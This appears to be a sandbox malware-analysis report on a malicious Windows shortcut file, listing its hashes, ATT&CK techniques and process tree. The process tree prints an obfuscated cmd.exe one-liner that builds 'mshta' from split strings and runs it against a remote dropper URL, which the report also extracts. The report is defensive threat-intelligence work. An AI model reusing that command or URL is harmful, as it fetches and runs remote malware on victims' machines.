ba5fd93ce9defe3279bfadd0a7c9d4076f6ef5d47f1b22e5646917efc1f4c224

Analysis

max time kernel
60s
max time network
56s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 04:33

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General

Target
DOC-YCOCM9.lnk
Size 1KB
Sample260823-e6qdlaxwet
SHA256 ba5fd93ce9defe3279bfadd0a7c9d4076f6ef5d47f1b22e5646917efc1f4c224
MD5 5c6109958d60c91c9a2436eef910371c
SHA1 f063d7efea61f0425761a4338461ad03b6bb0d75
SHA512 d63e00bb27b515f0617486e655fb9eb34058736e8b2b3e735af16ddee345dfba73b4c72b674564436a73f0b7ace5d43e67473d00d051e5057dadfb47d49295c0
TLSH
T12F319C502FED0654F3F38E7784BB671489BAB9958D20CA2D0140450D1032A15E57AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
924	cmd.exe
4284	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 4284	924	cmd.exe	90
PID 4284 wrote to memory of 6052	4284	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YCOCM9.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set vLac=msh&&set NqX=ta&&start "" !vLac!!NqX! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:6052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads